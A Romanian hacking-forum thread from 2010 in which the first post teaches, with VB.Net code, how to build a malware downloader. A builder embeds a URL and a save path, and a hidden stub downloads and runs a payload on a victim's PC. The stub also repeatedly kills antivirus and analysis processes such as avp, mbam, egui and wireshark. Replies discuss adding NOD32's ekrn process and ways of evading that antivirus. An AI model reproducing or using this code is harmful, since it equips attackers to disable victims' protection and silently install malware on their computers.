vLaDdO96 Posted November 1, 2010 Report Posted November 1, 2010 (edited) Aici, acum, in momentul de fata si in topicul respectiv o sa va arat cum putem face un downloader + functia de process kill.Partea I.[ I ] Mai intai sa explic ce face fiecare. 1. Downloaderul - este format din doua executabile - un builder si un stub (cateodata builderul este si pe post de stub). Ce face fiecare lucru in parte ? - Builder-ul : introducem datele necesare cum ar fi : a) URL-ul fisierului respectiv gen http://www.exemplu.ro/fisier.exe (de retinut ca de obicei nu conteaza extensia fisierului, atata timp cat este salvat in PC-ul victimei cu aceeasi extensie). path-ul fisierului - unde sa fie salvat fisierul in PC-ul victimei. Exemplu : C:\Windows\Boot\scr32.exe - folositi un nume care nu bate la ochi gen 'jocuri_miniclip.exe'. c) numele fisierului - aici introduceti numele fisierului care va fi salvat in PC-ul victimei. - Stub-ul : este un fisier continand o bucata de cod, pe care o vom folosi in crearea fisierului rezultat, utilizand si datele introduse in builder. * de obicei, stub-urile sunt invizibile (opacity = 0%), nu apar in Taskbar [pentru necunoscatori > bara ce contine butonul Start (Windows) si cea cu butonul catre meniu (Linux - scuzati exprimarea greoaie, nu sunt utilizator)], si (majoritatea) apar in Task Manager la tab-ul ProcessesDeci ce face downloader-ul pana la urma ? Inchide antivirusul prin process killing (inchide procesul cu numele antivirusului), descarca fisierul introdus de voi si intr-un final in porneste. Simplu ![ II ] Acum sa trecem la partea de codare !1. Builder-ul.a) cream un form. adaugam trei Label-uri*), trei Textbox-uri si un Button.*) - optional* asezarea lor depinde de voi.c) scrierea + explicarea codului (na ca am ajuns si aici)i) deasupra [Public class Form1] introducem codul urmator :Imports System.IO- ce face acest cod ? acest cod ne este necesar in VB.Net atunci cand folosim File Handling-ul - atunci cand scriem fisiere (modificarea Stub-ului).ii) sub [Public class Form1] introducem codul urmator :Dim stub, text1, text2, text3 As StringConst Filesplit = "*pr00f*"- codul "Dim" ne ajuta la declararea variabilelor "stub", "text1", "text2" si "text3" - fara aceasta declaratie nu am putea folosi expresia de "stub" sau "text1", etc, fara intampinarea unei erori.- codul "Const Filesplit" ne ajuta sa declaram o constanta - fragmentul "= "*pr00f*"" a folosit la declararea constantei "Filesplit". Asadar, va arata cam asa codul pana acum :iii) click pe Button1iv) adaugam simplu, codul urmatortext1 = TextBox1.Texttext2 = TextBox2.Texttext3 = TextBox3.Text- aici, variabilele declarate la inceputul Form-ului, sunt folosite pentru a 'egala' fiecare "text" cu Textbox-ul lui.v) sub codul de mai devreme, adaugam urmatorul : Try FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default) stub = Space(LOF(1)) Catch stubload As Exception End Try- codul Try / End Try la propriu 'incearca' sa faca codul introdus in el.- codul "FileOpen" deschide fisierul "Stub.exe" in modul binar (OpenMode.Binary), cu accesul de Read (OpenAccess.Read - il citeste).- variabila "stub" declarata la inceput, este 'egalata' si ea, aici.vi) introducem codul :FileGet(1, stub)FileClose(1)- "FileGet" obtine fisierul- "FileClose" il inchide.vii) in cazul in care deja exista un fisier cu numele celui build-at (facut) - pasul urmator - si daca vrem (si da, vrem) introducem codul urmator :If File.Exists("Downloader server.exe") Then My.Computer.FileSystem.DeleteFile("Downloader server.exe") End If- declaratia If / End If ne ajuta sa folosim un cod daca ceva este cum precizam noi. in cazul de fata, daca fisierul "Downloader server.exe" exista ( File.Exists ), atunci sterge fisierul deja existent [ My.Computer.FileSystem.DeleteFile("Downloader server.exe") ] .viii) ultimul pas si cel mai important - deschiderea fisierului creat - Downloader server.exe - si scrierea lui.FileOpen(1, Application.StartupPath & "\Downloader server.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)FilePut(1, stub & Filesplit & text1 & Filesplit & text2 & Filesplit & text3 & Filesplit)FileClose(1)MsgBox("Downloader server built successfully.", MsgBoxStyle.Information)- "FileOpen" deschide fisierul scris, in modul binar, de data aceasta cu acces de citit si scris.- "FilePut" introduce stub-ul, filesplit-ul si variabilele "text"Felicitari, sunteti gata cu builderul !Partea II.[ I ] Stub-ul1. Creeam un form (bineinteles, mai intai un nou proiect)2. In dreapta, la proprietatile Form-ului, setam Opacity - 0% si Show in Taskbar - False3. Introduceti un Timer.4. Coding. a) dublu click pe Form. ca la Builder, prima linie a codului trebuie sa fie urmatoarea :Imports System.IO - am explicat-o mai sus, daca nu stiti ce face, cititi acolo.c) sub "Public Class Form1" introducem :Dim options(), text1, text2, text3 As StringConst Filesplit = "*pr00f*"- acum observam ca ne lipseste variabila "stub", deoarece nu mai avem nevoie de ea, dar ne-a aparut variabila "options()"- asigurati-va ca filesplit-ul sa fie identic cu cel de la builder - altfel n-o sa va mearga !d) la Form1_Load introducem urmatoarele :Me.Visible = FalseMe.Hide()- aici ne asiguram ca Form-ul stub-ului nu o sa fie vizibil- chiar daca Form-ul nu este vizibil, facem stub-ul sa dispara, la propriu prin comanda "Me.Hide".e) pornim timer-ul :Timer1.Start- nu necesita explicatie codul astaf) deschidem fisierul :FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)- codul "FileOpen" este explicat mai sus, la fel, recititi in caz ca ati uitat ce face.g) folosim variabilele si obtinem fisierul :text1 = Space(LOF(1))text2 = Space(LOF(1))text3 = Space(LOF(1))FileGet(1, text1) 'options(1) - Textbox1ileGet(1, text2) 'options(2) - Textbox2FileClose(1)- variabilele in continuare vor fi folosite in ordinea in care sunt 'egalate'- am uitat sa precizez ce face comanda "Space(LOF(1))" - este necesara citirii / scrierii fisierelor in modul binar.h) 'egalarea' variabilei "options()" :options = Split(text1, Filesplit)FileClose(1)i) acum, codul necesar unui downloader : My.Computer.Network.DownloadFile(options(1), options(2) & options(3))Process.Start(options(2) & options(3))- "My.Computer.Network.DownloadFile" - cu un pic de engleza ne dam seama ca aceasta este comanda vitala - descarca fisierul. - "(options(1), options(2) & options(3))" : options(1) este URL-ul de unde va descarca fisierul, options(2) este path-ul unde va fi descarcat fisierul, iar options(3) este numele fisierului. j) crearea unui nou Sub. umm, crearea unei noi comenzi, sa fiu mai explicit. intre End Sub-ul de la Form1_Load si End Class, introducem codul urmator :Public Sub killProcess(ByRef strProcessToKill As String)Dim proc() As Process = Process.GetProcessesFor i As Integer = 0 To proc.GetUpperBound(0)If proc(i).ProcessName = strProcessToKill Thenproc(i).Kill()End IfNextEnd Sub- Public Sub declara o noua comanda - "killProcess"- "Dim proc() As Process = Process.GetProcesses" : declaram proc() ca fiind proces, egalat cu Process.GetProcesses, care obtine procesele.- "proc.GetUpperBound" : formeaza un array (o lista) cu procesele.- "If proc(i).ProcessName = strProcessToKill" : selectarea procesului pentru inchidere- "proc(i).Kill()" : inchiderea procesului in sine.k) asigurati-va ca Timer1 are un interval destul de mic (1 - 10 milisecunde), pentru a fi mai eficace. dublu-click pe dansul (Timer1) si introduceti codul urmator :killProcess("keyscrambler")killProcess("egui")killProcess("bdagent")killProcess("outpost")killProcess("npfmsg")killProcess("ollydbg")killProcess("avp")killProcess("mbam")killProcess("anubis")killProcess("wireshark")- dupa cum vedeti, acestea sunt numele catorva antivirusi / software-uri antimalware ca Keyscrambler, MalwareBytes' AntiMalware si Wireshark. - de retinut : la fiecare 1 milisecunda (sau ce interval ati pus voi la Timer), acel Timer va inchide procesele respective din lista.Felicitari, sunteti gata si cu Stub-ul !© pr00f = eu Edited December 19, 2010 by vLaDdO96 1 Quote
LLegoLLaS Posted November 1, 2010 Report Posted November 1, 2010 bun tutorial.La KillProcess adauga ekrn (asta e procesul principal al nod32;egui este doar GUI(graphical user interface) desi el nu poat fi inchis din cate stiu eu) Quote
BogdanNBV Posted November 1, 2010 Report Posted November 1, 2010 foarte bine explicat tutorialul si cam greu sa ii fentezi pe cei care au nod32 pentru ca processul ekrn nu merge inchis am incercat mai demult sa il inchid si nu mergea deci la cei cu nod32 nu are sa mearga faza Quote
vLaDdO96 Posted November 1, 2010 Author Report Posted November 1, 2010 culmea, sunt utilizator al NOD32-ului doar ca sunt posesor ar Smart Security-ului 4 (antivirus + firewall + functii smechere, uu) , nu numai al av-ului, si sunt cateva chestii - nu am ekrn.exe la procese (il aveam cand aveam doar antivir) DAR (intotdeauna este un 'dar') chiar daca inchid procesul, inca detecteaza fisierele infectate. o sa caut o modalitate sa inchid procesul in totalitate. Quote
alexalghisi Posted November 3, 2010 Report Posted November 3, 2010 @Vlad096 .. tu te distrezi cu copy paste ? [Tut] Downloader builder+stub + killProc si ne mai si minti : © pr00f = tu , pe naiba ... Quote
vLaDdO96 Posted November 3, 2010 Author Report Posted November 3, 2010 (edited) da, ce explicatie sa va dau ? ala sunt eu. vreti sa dau edit la post acolo sa vedeti ca eu sunt ?edit : am dat edit la postul acela de pe tbo-sedit 2 : cititi si aici Edited November 3, 2010 by vLaDdO96 Quote
Guest blackboy1337. Posted November 5, 2010 Report Posted November 5, 2010 vLaDdO96 aka pr00f e acelasi user ma! Quote
daatdraqq Posted November 5, 2010 Report Posted November 5, 2010 Esti un fel de vedeta locala ? Care-i treaba cu useru schimbat ca nu inteleg ? Quote
Scorpionadi Posted November 6, 2010 Report Posted November 6, 2010 Oricum multumim pentru tutorial , este foarte frumos explicat si chiar se poate invata ceva din el Quote
vLaDdO96 Posted November 6, 2010 Author Report Posted November 6, 2010 Esti un fel de vedeta locala ? Care-i treaba cu useru schimbat ca nu inteleg ?nu, nu sunt nici un fel de vedeta, doar ca vroiam sa scap de acel nume. era vechi, si prea copilaros. prea Le3t. de aceea am schimbat nickname-ul. Quote